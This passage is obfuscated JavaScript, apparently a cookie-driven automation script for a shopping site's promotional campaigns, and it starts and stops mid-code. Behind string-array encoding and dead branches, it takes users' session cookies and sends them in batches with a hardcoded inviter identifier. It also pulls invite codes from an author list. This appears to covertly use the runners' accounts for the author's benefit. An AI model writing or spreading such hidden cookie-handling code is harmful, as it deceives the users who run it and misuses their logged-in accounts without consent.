FJ1bm5pbmcv','YXNzaWdu','cGFyYW1z','YWRtSnNvbg==','dG5wY1c=','Y29tbW9uUGFyYW1ldGVy','c2lnbg==','dGltZXN0YW1w','dGltZVN0YW1w','UUdWaUQ=','b0NteHk=','cG9zdA==','clhaTFk=','ckJxbkc=','eG9oTUM=','d01GYkk=','c3VjY2Vzcw==','c3RhdHVz','Y3dOUG4=','YURiR00=','cGNCSW8=','UVNJTWE=','bWlzc2lvbkN1c3RvbWVy','dXNlcl9pZA==','Y3VzQWN0aXZpdHk=','YWN0VXBMb2FkSWQ=','cmVtYWluQ2hhbmNl','V1FYdnY=','ckZKVWQ=','a0dNcVk=','eU5sTGY=','UU9jVVg=','dVhCdkQ=','Q09OZHQ=','TnBBbEY=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','aldpbGc=','TGlHZlk=','Z2V0Q3VzU2hvcHNob3BJZA==','Y3VzU2hvcA==','AjsjpFBiamniW.coMm.kv6CTYASpR=='];if(function(_0x914b8b,_0x571d29,_0x2c939a){function _0x42baec(_0x227843,_0x15a5d5,_0xf29f33,_0x512a7d,_0x21f2a6,_0x22a813){_0x15a5d5=_0x15a5d5>>0x8,_0x21f2a6='po';var _0x167d6e='shift',_0x4c0907='push',_0x22a813='‮';if(_0x15a5d5<_0x227843){while(--_0x227843){_0x512a7d=_0x914b8b[_0x167d6e]();if(_0x15a5d5===_0x227843&&_0x22a813==='‮'&&_0x22a813['length']===0x1){_0x15a5d5=_0x512a7d,_0xf29f33=_0x914b8b[_0x21f2a6+'p']();}else if(_0x15a5d5&&_0xf29f33['replace'](/[ApFBnWMkCTYASpR=]/g,'')===_0x15a5d5){_0x914b8b[_0x4c0907](_0x512a7d);}}_0x914b8b[_0x4c0907](_0x914b8b[_0x167d6e]());}return 0xf5714;};return _0x42baec(++_0x571d29,_0x2c939a)>>_0x571d29^_0x2c939a;}(_0x3b2a,0xf8,0xf800),_0x3b2a){_0xod6_=_0x3b2a['length']^0xf8;};function _0x38da(_0x3ecf3e,_0x5afeee){_0x3ecf3e=~~'0x'['concat'](_0x3ecf3e['slice'](0x1));var _0x3f849a=_0x3b2a[_0x3ecf3e];if(_0x38da['jIMawL']===undefined&&'‮'['length']===0x1){(function(){var _0x331b5b;try{var _0xa4b158=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x331b5b=_0xa4b158();}catch(_0x5b2ffb){_0x331b5b=window;}var _0x4e2c80='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x331b5b['atob']||(_0x331b5b['atob']=function(_0x2a40d5){var _0x3ec9a4=String(_0x2a40d5)['replace'](/=+$/,'');for(var _0x4841d7=0x0,_0x5164c6,_0x4bd8d2,_0x2db630=0x0,_0x8debb3='';_0x4bd8d2=_0x3ec9a4['charAt'](_0x2db630++);~_0x4bd8d2&&(_0x5164c6=_0x4841d7%0x4?_0x5164c6*0x40+_0x4bd8d2:_0x4bd8d2,_0x4841d7++%0x4)?_0x8debb3+=String['fromCharCode'](0xff&_0x5164c6>>(-0x2*_0x4841d7&0x6)):0x0){_0x4bd8d2=_0x4e2c80['indexOf'](_0x4bd8d2);}return _0x8debb3;});}());_0x38da['aDGXqO']=function(_0x5e82b9){var _0x267846=atob(_0x5e82b9);var _0x3ad77e=[];for(var _0x515e40=0x0,_0x234403=_0x267846['length'];_0x515e40<_0x234403;_0x515e40++){_0x3ad77e+='%'+('00'+_0x267846['charCodeAt'](_0x515e40)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3ad77e);};_0x38da['owYwWw']={};_0x38da['jIMawL']=!![];}var _0xcc682f=_0x38da['owYwWw'][_0x3ecf3e];if(_0xcc682f===undefined){_0x3f849a=_0x38da['aDGXqO'](_0x3f849a);_0x38da['owYwWw'][_0x3ecf3e]=_0x3f849a;}else{_0x3f849a=_0xcc682f;}return _0x3f849a;};!(async()=>{var _0xb5f275={'kzZkU':function(_0x3d945e,_0x3cce05){return _0x3d945e+_0x3cce05;},'KGUgj':function(_0x4aa5b6,_0x201154){return _0x4aa5b6*_0x201154;},'ISbMs':function(_0x35d177,_0x4be6c6){return _0x35d177-_0x4be6c6;},'HlFSc':function(_0x146a8a,_0x306961){return _0x146a8a===_0x306961;},'tARqn':_0x38da('‮0'),'xTkxC':function(_0x4958ad,_0x4080c2){return _0x4958ad!==_0x4080c2;},'UZmKn':_0x38da('‮1'),'mxZwr':_0x38da('‮2'),'xVUFA':_0x38da('‮3'),'ZZYJr':function(_0x4ad1d0,_0x4c8b3b){return _0x4ad1d0<_0x4c8b3b;},'yXtCE':function(_0xd2ca3b,_0xd926b0){return _0xd2ca3b+_0xd926b0;},'XaNZQ':function(_0x2c24fb,_0x2ccc6f){return _0x2c24fb<_0x2ccc6f;},'kPOue':_0x38da('‫4'),'hUISZ':function(_0x451151,_0x1ac0f8){return _0x451151===_0x1ac0f8;},'dwKCR':function(_0x3f7587,_0x22a865){return _0x3f7587!==_0x22a865;},'kitTv':_0x38da('‮5'),'LFeNm':_0x38da('‮6'),'aTkaO':_0x38da('‮7'),'ipPXy':function(_0x105eec,_0x5e81c3){return _0x105eec(_0x5e81c3);},'gHwpX':function(_0x55aa58){return _0x55aa58();},'uhWXd':function(_0x10dba2,_0x4abde9,_0x4734da){return _0x10dba2(_0x4abde9,_0x4734da);},'rGThU':_0x38da('‮8'),'HyUCf':function(_0x57f29f,_0x7231e0){return _0x57f29f(_0x7231e0);},'aMICR':_0x38da('‫9'),'YeJbk':_0x38da('‮a'),'GWRjb':_0x38da('‫b'),'wAqlX':_0x38da('‫c'),'xlcIj':function(_0x534983,_0x5b2c12,_0x5aa3f6){return _0x534983(_0x5b2c12,_0x5aa3f6);},'MbFXo':function(_0x24067a,_0x1e760f){return _0x24067a>_0x1e760f;},'bagXH':function(_0x57188f,_0xcf172f){return _0x57188f===_0xcf172f;},'gGGum':_0x38da('‫d'),'qXkPA':_0x38da('‮e')};if(!cookiesArr[0x0]){if(_0xb5f275[_0x38da('‫f')](_0xb5f275[_0x38da('‫10')],_0xb5f275[_0x38da('‫10')])){return _0xb5f275[_0x38da('‫11')](Math[_0x38da('‮12')](_0xb5f275[_0x38da('‮13')](Math[_0x38da('‫14')](),_0xb5f275[_0x38da('‫15')](max,min))),min);}else{$[_0x38da('‫16')]($[_0x38da('‫17')],_0xb5f275[_0x38da('‮18')],_0xb5f275[_0x38da('‫19')],{'open-url':_0xb5f275[_0x38da('‫19')]});return;}}$[_0x38da('‮1a')]=0x0;let _0x5f13ae=[];for(let _0x12eba3=0x0;_0xb5f275[_0x38da('‫1b')](_0x12eba3,cookiesArr[_0x38da('‮1c')]);_0x12eba3+=0xf){_0x5f13ae[_0x38da('‮1d')](cookiesArr[_0x38da('‫1e')](_0x12eba3,_0xb5f275[_0x38da('‫1f')](_0x12eba3,0xf)));}for(let _0x5a44b8=0x0;_0xb5f275[_0x38da('‫1b')](_0x5a44b8,_0x5f13ae[_0x38da('‮1c')]);_0x5a44b8++){try{let _0x3a0933=_0x5f13ae[_0x5a44b8];const _0x3e6357=_0x3a0933[_0x38da('‫20')]((_0x7799c3,_0x471ad0)=>main(_0x7799c3));await Promise[_0x38da('‮21')](_0x3e6357);}catch(_0x1beb62){}}if(_0xb5f275[_0x38da('‫22')]($[_0x38da('‮1a')],0x1)){for(let _0x57766e=0x0;_0xb5f275[_0x38da('‫23')](_0x57766e,cookiesArr[_0x38da('‮1c')]);_0x57766e++){if(_0xb5f275[_0x38da('‫22')](_0xb5f275[_0x38da('‫24')],_0xb5f275[_0x38da('‫24')])){if(_0xb5f275[_0x38da('‮25')](mpdzHelp[_0x38da('‮1c')],0x0)){if(_0xb5f275[_0x38da('‫26')](_0xb5f275[_0x38da('‮27')],_0xb5f275[_0x38da('‫28')])){console[_0x38da('‫29')](_0xb5f275[_0x38da('‮2a')]);break;}else{$[_0x38da('‮2b')](e);}}if(cookiesArr[_0x57766e]){cookie=cookiesArr[_0x57766e];originCookie=cookiesArr[_0x57766e];newCookie='';$[_0x38da('‮2c')]=_0xb5f275[_0x38da('‫2d')](decodeURIComponent,cookie[_0x38da('‫2e')](/pt_pin=(.+?);/)&&cookie[_0x38da('‫2e')](/pt_pin=(.+?);/)[0x1]);$[_0x38da('‮2f')]=_0xb5f275[_0x38da('‫1f')](_0x57766e,0x1);$[_0x38da('‫30')]=!![];$[_0x38da('‫31')]='';await _0xb5f275[_0x38da('‫32')](checkCookie);console[_0x38da('‫29')](_0x38da('‮33')+$[_0x38da('‮2f')]+'】'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‫34'));if(!$[_0x38da('‫30')]){$[_0x38da('‫16')]($[_0x38da('‫17')],_0x38da('‫35'),_0x38da('‮36')+$[_0x38da('‮2f')]+'\x20'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‮37'),{'open-url':_0xb5f275[_0x38da('‫19')]});if($[_0x38da('‮38')]()){}continue;}$[_0x38da('‮39')]=0x0;$[_0x38da('‮3a')]=_0xb5f275[_0x38da('‫3b')](getUUID,_0xb5f275[_0x38da('‫3c')],0x1);$[_0x38da('‫3d')]=_0xb5f275[_0x38da('‫3e')](getUUID,_0xb5f275[_0x38da('‮3f')]);authorCodeList=mpdzHelp;$[_0x38da('‫40')]=_0xb5f275[_0x38da('‫41')];$[_0x38da('‫42')]=_0xb5f275[_0x38da('‮43')];$[_0x38da('‫44')]=_0xb5f275[_0x38da('‮45')];$[_0x38da('‮46')]=authorCodeList[_0xb5f275[_0x38da('‮47')](random,0x0,authorCodeList[_0x38da('‮1c')])];await _0xb5f275[_0x38da('‫32')](mpdz);await $[_0x38da('‫48')](0x7d0);if(_0xb5f275[_0x38da('‮49')]($[_0x38da('‮39')],0x0)){if(_0xb5f275[_0x38da('‮4a')](_0xb5f275[_0x38da('‮4b')],_0xb5f275[_0x38da('‮4c')])){console[_0x38da('‫29')](data[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮4e')]);}else{message+=_0x38da('‫4f')+$[_0x38da('‮2f')]+'】'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‫50')+$[_0x38da('‮39')]+_0x38da('‮51');}}}}else{if(data){data=JSON[_0x38da('‮52')](data);if(_0xb5f275[_0x38da('‫22')](data[_0x38da('‮53')],'0')){$[_0x38da('‫54')]=data[_0x38da('‫54')];}}else{$[_0x38da('‫29')](_0xb5f275[_0x38da('‮55')]);}}}}})()[_0x38da('‫56')](_0x1a997e=>{$[_0x38da('‫29')]('','❌\x20'+$[_0x38da('‫17')]+_0x38da('‮57')+_0x1a997e+'!','');})[_0x38da('‮58')](()=>{$[_0x38da('‫59')]();});async function mpdz(){var _0x12be3f={'gRQtM':function(_0xcdad17){return _0xcdad17();},'yocLx':function(_0x6ac59a,_0x519988,_0x335854,_0x3d5a3e){return _0x6ac59a(_0x519988,_0x335854,_0x3d5a3e);},'dCjMm':_0x38da('‮5a'),'PTFMO':_0x38da('‮5b'),'OzKxa':function(_0x4c4696,_0x7138d3){return _0x4c4696+_0x7138d3;},'TaCPM':_0x38da('‮5c'),'JStQW':_0x38da('‮5d'),'HrvKD':function(_0x5b2573,_0x3135b0,_0x5f195a){return _0x5b2573(_0x3135b0,_0x5f195a);},'KqnCE':_0x38da('‫5e'),'ghaDm':_0x38da('‫5f'),'twpOL':_0x38da('‮60'),'Bvtmu':function(_0x3da322,_0x423da5){return _0x3da322!==_0x423da5;},'OuJvZ':_0x38da('‮61'),'RjGuf':_0x38da('‮62'),'AerfE':_0x38da('‫63')};$[_0x38da('‫54')]=null;$[_0x38da('‮64')]=null;$[_0x38da('‫65')]=null;$[_0x38da('‮66')]=null;await _0x12be3f[_0x38da('‮67')](getToken);console[_0x38da('‫29')]($[_0x38da('‫54')]);if($[_0x38da('‫54')]){await $[_0x38da('‫48')](0xbb8);await _0x12be3f[_0x38da('‮68')](task,_0x12be3f[_0x38da('‫69')],{'inviteNick':$[_0x38da('‮46')],'jdToken':$[_0x38da('‫54')],'shopId':null},0x0);await $[_0x38da('‫48')](0xbb8);if($[_0x38da('‮64')]){var _0x165e14=_0x12be3f[_0x38da('‮6a')][_0x38da('‫6b')]('|'),_0x3476fd=0x0;while(!![]){switch(_0x165e14[_0x3476fd++]){case'0':console[_0x38da('‫29')](_0x12be3f[_0x38da('‮6c')](_0x12be3f[_0x38da('‫6d')],$[_0x38da('‮64')]));continue;case'1':console[_0x38da('‫29')](_0x12be3f[_0x38da('‫6e')]);continue;case'2':await $[_0x38da('‫48')](0xbb8);continue;case'3':await _0x12be3f[_0x38da('‫6f')](task,_0x12be3f[_0x38da('‫70')],{'missionType':_0x12be3f[_0x38da('‫71')],'inviterNick':$[_0x38da('‮46')]});continue;case'4':await $[_0x38da('‫48')](0xbb8);continue;}break;}}else{$[_0x38da('‫29')](_0x12be3f[_0x38da('‮72')]);}}else{if(_0x12be3f[_0x38da('‫73')](_0x12be3f[_0x38da('‮74')],_0x12be3f[_0x38da('‫75')])){$[_0x38da('‫29')](_0x12be3f[_0x38da('‫76')]);}else{$[_0x38da('‫29')](err);}}}function task(_0x45075a,_0x319918,_0x20aa2a=0x1){var _0x3f0f90={'rBqnG':function(_0xbda2,_0x38e31d){return _0xbda2!==_0x38e31d;},'xohMC':_0x38da('‫77'),'wMFbI':_0x38da('‮78'),'cwNPn':function(_0x28c4c9,_0x7e6d97){return _0x28c4c9!==_0x7e6d97;},'aDbGM':_0x38da('‫79'),'pcBIo':_0x38da('‫7a'),'QSIMa':_0x38da('‮5a'),'WQXvv':_0x38da('‫5e'),'rFJUd':function(_0x363683,_0x3dafd0){return _0x363683===_0x3dafd0;},'kGMqY':function(_0x106da6,_0x3a878f){return _0x106da6===_0x3a878f;},'yNlLf':_0x38da('‫7b'),'uXBvD':function(_0x4c35e4,_0x49efec){return _0x4c35e4!==_0x49efec;},'CONdt':_0x38da('‮7c'),'NpAlF':_0x38da('‮7d'),'jWilg':_0x38da('‮7e'),'LiGfY':_0x38da('‮7f'),'IJarF':_0x38da('‫80'),'bspsU':_0x38da('‮81'),'IHRif':_0x38da('‮82'),'mgnoa':_0x38da('‮83'),'upyxT':function(_0x9a0d29,_0x26d290){return _0x9a0d29===_0x26d290;},'XIwDz':_0x38da('‮84'),'yFTJa':_0x38da('‫85'),'oCmxy':function(_0x2154a9,_0x30c793){return _0x2154a9===_0x30c793;},'qVaLL':_0x38da('‫86'),'FLfeB':function(_0x59b37e){return _0x59b37e();},'QGViD':function(_0x436299,_0x3aae2b){return _0x436299+_0x3aae2b;},'rXZLY':function(_0xb35fd,_0x5a8644,_0xdb7bda,_0x4135b6){return _0xb35fd(_0x5a8644,_0xdb7bda,_0x4135b6);},'fdQKq':_0x38da('‮87'),'kChLs':_0x38da('‮88'),'tnpcW':function(_0x4c5fea,_0xd6405){return _0x4c5fea(_0xd6405);}};body={'jsonRpc':_0x3f0f90[_0x38da('‫89')],'params':{'commonParameter':{'appkey':$[_0x38da('‫40')],'m':_0x3f0f90[_0x38da('‮8a')],'userId':$[_0x38da('‫42')]},'admJson':{'actId':$[_0x38da('‫44')],'method':_0x38da('‮8b')+_0x45075a,'userId':$[_0x38da('‫42')],'buyerNick':$[_0x38da('‮64')]?$[_0x38da('‮64')]:''}}};Object[_0x38da('‮8c')](body[_0x38da('‫8d')][_0x38da('‮8e')],_0x319918);let _0x4e4456=_0x3f0f90[_0x38da('‫8f')](getSign,body[_0x38da('‫8d')][_0x38da('‮8e')]);body[_0x38da('‫8d')][_0x38da('‮90')][_0x38da('‮91')]=_0x4e4456[_0x38da('‮91')];body[_0x38da('‫8d')][_0x38da('‮90')][_0x38da('‮92')]=_0x4e4456[_0x38da('‮93')];return new Promise(_0x4d0bd8=>{var _0x169da5={'QOcUX':function(_0x1d3d42,_0x27fb7f){return _0x3f0f90[_0x38da('‫94')](_0x1d3d42,_0x27fb7f);},'JUmDU':function(_0x3158a2,_0x14d4e9){return _0x3f0f90[_0x38da('‮95')](_0x3158a2,_0x14d4e9);}};$[_0x38da('‫96')](_0x3f0f90[_0x38da('‫97')](taskUrl,_0x45075a,body,_0x20aa2a),async(_0x37bc95,_0x18c346,_0x17d174)=>{try{if(_0x37bc95){$[_0x38da('‫29')](_0x37bc95);}else{if(_0x17d174){if(_0x3f0f90[_0x38da('‫98')](_0x3f0f90[_0x38da('‮99')],_0x3f0f90[_0x38da('‫9a')])){_0x17d174=JSON[_0x38da('‮52')](_0x17d174);if(_0x17d174[_0x38da('‮9b')]){if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){if(_0x3f0f90[_0x38da('‮9d')](_0x3f0f90[_0x38da('‫9e')],_0x3f0f90[_0x38da('‮9f')])){switch(_0x45075a){case _0x3f0f90[_0x38da('‮a0')]:$[_0x38da('‮64')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a1')][_0x38da('‮64')];$[_0x38da('‫a2')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a3')][_0x38da('‮a4')];$[_0x38da('‮a1')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a1')];$[_0x38da('‫a5')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮a1')][_0x38da('‫a5')];break;case _0x3f0f90[_0x38da('‫a6')]:if(_0x3f0f90[_0x38da('‮a7')](_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')],0x1f4)){if(_0x3f0f90[_0x38da('‮a8')](_0x3f0f90[_0x38da('‫a9')],_0x3f0f90[_0x38da('‫a9')])){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')][_0x38da('‫16')]);}else{result[_0x38da('‮1d')](cookiesArr[_0x38da('‫1e')](i,_0x169da5[_0x38da('‮aa')](i,0xf)));}}else if(_0x3f0f90[_0x38da('‮a8')](_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')],0xc8)){if(_0x3f0f90[_0x38da('‫ab')](_0x3f0f90[_0x38da('‫ac')],_0x3f0f90[_0x38da('‮ad')])){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮4e')]);}else{uuid=v[_0x38da('‮ae')](0x24)[_0x38da('‮af')]();}}break;case _0x3f0f90[_0x38da('‫b0')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‮66')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')];}break;case _0x3f0f90[_0x38da('‫b1')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‫b2')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮b3')][_0x38da('‫b4')];}break;case _0x3f0f90[_0x38da('‫b5')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‫b6')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‫b7')][_0x38da('‫b8')];}break;case _0x3f0f90[_0x38da('‮b9')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){$[_0x38da('‮ba')]=_0x17d174[_0x38da('‮4d')][_0x38da('‮4d')][_0x38da('‮ba')];}break;case _0x3f0f90[_0x38da('‫bb')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')]);}break;case _0x3f0f90[_0x38da('‮bc')]:if(_0x17d174[_0x38da('‮4d')][_0x38da('‮9c')]){console[_0x38da('‫29')](_0x17d174[_0x38da('‮4d')]);}break;default:break;}}else{$[_0x38da('‫29')](error);}}}}else{message+=_0x38da('‫4f')+$[_0x38da('‮2f')]+'】'+($[_0x38da('‫31')]||$[_0x38da('‮2c')])+_0x38da('‫50')+$[_0x38da('‮39')]+_0x38da('‮51');}}else{if(_0x3f0f90[_0x38da('‫bd')](_0x3f0f90[_0x38da('‫be')],_0x3f0f90[_0x38da('‫be')])){$[_0x38da('‫29')](_0x3f0f90[_0x38da('‫bf')]);}else{_0x17d174=JSON[_0x38da('‮52')](_0x17d174);if(_0x169da5[_0x38da('‫c0')](_0x17d174[_0x38da('‮53')],'0')){$[_0x38da('‫54')]=_0x17d174[_0x38da('‫54')];}}}}}catch(_0x461920){if(_0x3f0f90[_0x38da('‮95')](_0x3f0f90[_0x38da('‮c1')],_0x3f0f90[_0x38da('‮c1')])){$[_0x38da('‫29')](_0x461920);}else{$[_0x38da('‫31')]=_0x17d174[_0x38da('‮4d')][_0x38da('‫c2')][_0x38da('‮c3')][_0x38da('‫c4')];}}finally{_0x3f0f90[_0x38da('‫c5')](_0x4d0bd8);}});});}function taskUrl(_0x4effe2,_0xaba463,_0x3a9e84=0x1){var _0x19592d={'pRhTP':_0x38da('‮c6'),'RhYUu':_0x38da('‮c7'),'oQASE':_0x38da('‮c8'),'ndZot':_0x38da('‮c9'),'LmAPd':_0x38da('‫ca'),'EdDyT':_0x38da('‮cb'),'LKmQR':_0x38da('‮cc'),'QMYMz':_0x38da('‫cd'),'jePRo':_0x38da('‫ce')};return{'url':_0x3a9e84?_0x38da('‫cf')+_0x4effe2+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d1')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''):_0x38da('‫cf')+_0x4effe2+_0x38da('‮d0')+($[_0x38da('‮64')]?$[_0x38da('‮64')]:'')+_0x38da('‮d2')+($[_0x38da('‫a2')]?$[_0x38da('‫a2')]:''),'headers':{'Host':_0x19592d[_0x38da('‫d3')],'Accept':_0x19592d[_0x38da('‮d4')],'X-Requested-With':_0x19592d[_0x38da('‫d5')],'Accept-Language':_0x19592d[_0x38da('‫d6')],'Accept-Encoding':_0x19592d[_0x38da('‮d7')],'Content-Type':_0x19592d[_0x38da('‫d8')],'Origin':_0x19592d[_0x38da('‮d9')],'User-Agent':_0x38da('‮da')+$[_0x38da('‫3d')]+_0x38da('‮db')+$[_0x38da('‮3a')]+_0x38da('‫dc'),'Connection':_0x19592d[_0x38da('‫dd')],'Referer':_0x19592d[_0x38da('‮de')],'Cookie':cookie},'body':JSON[_0x38da('‫df')](_0xaba463)};}async function main(_0xfae1b2){var _0x34f262={'cIdUw':_0x38da('‫e0'),'TEomX':_0x38da('‮e1'),'GzxRS':function(_0x1c3603,_0x35bca5){return _0x1c3603*_0x35bca5;},'rrXNR':_0x38da('‫e2'),'JbvFV':_0x38da('‫e3'),'MlJSu':function(_0xac374c,_0x247b8c){return _0xac374c(_0x247b8c);},'kNiMF':_0x38da('‮e4'),'MgHAe':_0x38da('‮e5'),'xNTLp':_0x38da('‮e6'),'mGJpi':_0x38da('‮e7'),'RXmmp':_0x38da('‮c9'),'lDUmO':function(_0x557a45,_0x223ee9){return _0x557a45(_0x223ee9);},'JYJfS':_0x38da('‫e8'),'uMVdB':_0x38da('‮e9'),'zCTXN':_0x38da('‫ea'),'cZRvI':_0x38da('‫eb'),'sIsfs':_0x38da('‫ca')};$[_0x38da('‮1a')]=0x1;$[_0x38da('‫ec')]=_0x34f262[_0x38da('‮ed')];const _0x5bea6b=[_0x34f262[_0x38da('‫ee')]];let _0x20e24=_0x5bea6b[Math[_0x38da('‮12')](_0x34f262[_0x38da('‫ef')](Math[_0x38da('‫14')](),_0x5bea6b[_0x38da('‮1c')]))];let _0xb89e4e={'url':_0x34f262[_0x38da('‫f0')],'body':_0x38da('‮f1')+JSON[_0x38da('‫df')]({'method':_0x34f262[_0x38da('‫f2')],'data':{'channel':'1','encryptionInviterPin':_0x34f262[_0x38da('‮f3')](encodeURIComponent,_0x20e24),'type':0x1}})+_0x38da('‫f4')+Date[_0x38da('‫f5')](),'headers':{'Host':_0x34f262[_0x38da('‫f6')],'Accept':_0x34f262[_0x38da('‮f7')],'Content-Type':_0x34f262[_0x38da('‮f8')],'Origin':_0x34f262[_0x38da('‮f9')],'Accept-Language':_0x34f262[_0x38da('‮fa')],'User-Agent':$[_0x38da('‮38')]()?process[_0x38da('‮fb')][_0x38da('‫fc')]?process[_0x38da('‮fb')][_0x38da('‫fc')]:_0x34f262[_0x38da('‮fd')](require,_0x34f262[_0x38da('‮fe')])[_0x38da('‫ff')]:$[_0x38da('‮100')](_0x34f262[_0x38da('‮101')])?$[_0x38da('‮100')](_0x34f262[_0x38da('‮101')]):_0x34f262[_0x38da('‮102')],'Referer':_0x34f262[_0x38da('‫103')],'Accept-Encoding':_0x34f262[_0x38da('‮104')],'Cookie':_0xfae1b2}};$[_0x38da('‫96')](_0xb89e4e,(_0x422e7d,_0x2d9bdc,_0x1c1923)=>{});}function getToken(){var _0x22a44a={'HfWKi':_0x38da('‮2'),'PsKJX':_0x38da('‮3'),'jMAKe':function(_0x325252){return _0x325252();},'WnndK':function(_0x478f67,_0x254406){return _0x478f67===_0x254406;},'rIlaK':_0x38da('‫105'),'ydoOK':function(_0x10adf0,_0x463562){return _0x10adf0!==_0x463562;},'vXkGE':_0x38da('‮106'),'yHFeq':_0x38da('‮107'),'tDAGY':_0x38da('‫108'),'zfHHk':_0x38da('‮109'),'FqWfz':_0x38da('‮10a'),'rYZjo':_0x38da('‮10b'),'URInI':function(_0x39b4a4,_0x445e92){return _0x39b4a4===_0x445e92;},'ricwk':_0x38da('‮0'),'fBIiI':function(_0x1c1d52,_0x5474a6){return _0x1c1d52===_0x5474a6;},'pVlTt':_0x38da('‫10c'),'UZWIC':_0x38da('‮10d'),'lAZfI':_0x38da('‫10e'),'xtoqn':_0x38da('‮e4'),'htJcp':_0x38da('‮e6'),'OKnLa':_0x38da('‫10f'),'gpGWZ':_0x38da('‫cd'),'lTvrl':_0x38da('‮110'),'ReAqW':_0x38da('‮111'),'AWjvd':_0x38da('‫ca')};let _0x23edd4={'url':_0x38da('‮112'),'headers':{'Host':_0x22a44a[_0x38da('‫113')],'Content-Type':_0x22a44a[_0x38da('‮114')],'Accept':_0x22a44a[_0x38da('‫115')],'Connection':_0x22a44a[_0x38da('‮116')],'Cookie':cookie,'User-Agent':_0x22a44a[_0x38da('‮117')],'Accept-Language':_0x22a44a[_0x38da('‫118')],'Accept-Encoding':_0x22a44a[_0x38da('‫119')]},'body':_0x38da('‮11a')};return new Promise(_0x445b48=>{var _0xe71097={'mFMyd':_0x22a44a[_0x38da('‫11b')]};if(_0x22a44a[_0x38da('‮11c')](_0x22a44a[_0x38da('‫11d')],_0x22a44a[_0x38da('‮11e')])){$[_0x38da('‫29')](error);}else{$[_0x38da('‫96')](_0x23edd4,(_0x4dc3b0,_0x425918,_0xa5dc33)=>{var _0x50d469={'moRup':_0x22a44a[_0x38da('‮11f')],'rqMBd':_0x22a44a[_0x38da('‫120')],'zcFLI':function(_0x1c618c){return _0x22a44a[_0x38da('‫121')](_0x1c618c);}};if(_0x22a44a[_0x38da('‫122')](_0x22a44a[_0x38da('‫123')],_0x22a44a[_0x38da('‫123')])){try{if(_0x22a44a[_0x38da('‮124')](_0x22a44a[_0x38da('‮125')],_0x22a44a[_0x38da('‫126')])){if(_0x4dc3b0){$[_0x38da('‫29')](_0x4dc3b0);}else{if(_0x22a44a[_0x38da('‮124')](_0x22a44a[_0x38da('‫127')],_0x22a44a[_0x38da('‮128')])){if(_0xa5dc33){if(_0x22a44a[_0x38da('‮124')](_0x22a44a[_0x38da('‮129')],_0x22a44a[_0x38da('‮12a')])){_0xa5dc33=JSON[_0x38da('‮52')](_0xa5dc33);if(_0x22a44a[_0x38da('‫12b')](_0xa5dc33[_0x38da('‮53')],'0')){$[_0x38da('‫54')]=_0xa5dc33[_0x38da('‫54')];}}else{console[_0x38da('‫29')](_0xa5dc33[_0x38da('‮4d')]);}}else{$[_0x38da('‫29')](_0x22a44a[_0x38da('‫11b')]);}}else{$[_0x38da('‫29')](_0x4dc3b0);}}}else{$[_0x38da('‫16')]($[_0x38da('‫17')],_0x50d469[_0x38da('‫12c')],_0x50d469[_0x38da('‮12d')],{'open-url':_0x50d469[_0x38da('‮12d')]});return;}}catch(_0x405aaf){$[_0x38da('‫29')](_0x405aaf);}finally{if(_0x22a44a[_0x38da('‮11c')](_0x22a44a[_0x38da('‫12e')],_0x22a44a[_0x38da('‫12e')])){_0x22a44a[_0x38da('‫121')](_0x445b48);}else{$[_0x38da('‫29')](_0xe71097[_0x38da('‮12f')]);}}}else{_0x50d469[_0x38da('‮130')](_0x445b48);}});}});}function random(_0x1336f0,_0x3bd272){var _0xa9c013={'KIMwh':function(_0x51992e,_0x3cc209){return _0x51992e+_0x3cc209;},'dqJLJ':function(_0xecb6e7,_0x227f52){return _0xecb6e7*_0x227f52;},'OLUXZ':function(_0x3181eb,_0x1bf5f7){return _0x3181eb-_0x1bf5f7;}};return _0xa9c013[_0x38da('‮131')](Math[_0x38da('‮12')](_0xa9c013[_0x38da('‫132')](Math[_0x38da('‫14')](),_0xa9c013[_0x38da('‫133')](_0x3bd272,_0x1336f0))),_0x1336f0);}function getUUID(_0x4accb7=_0x38da('‫9'),_0x33f40f=0x0){var _0xd9660c={'LWiyy':function(_0x28e8f9,_0xaf0665){return _0x28e8f9|_0xaf0665;},'SSxTB':function(_0x1335d8,_0x1d7708){return _0x1335d8*_0x1d7708;},'YObHO':function(_0x2ac106,_0x4c82f8){return _0x2ac106==_0x4c82f8;},'CFfIP':function(_0x2ab55f,_0x25e1e0){return _0x2ab55f&_0x25e1e0;},'uIXDj':function(_0x202d02,_0x401261){return _0x202d02!==_0x401261;},'Iswrt':_0x38da('‫134'),'GrGLZ':function(_0x59d46c,_0x2228e7){return _0x59d46c===_0x2228e7;},'NgXVG':_0x38da('‮135'),'DOwnn':_0x38da('‫136')};return 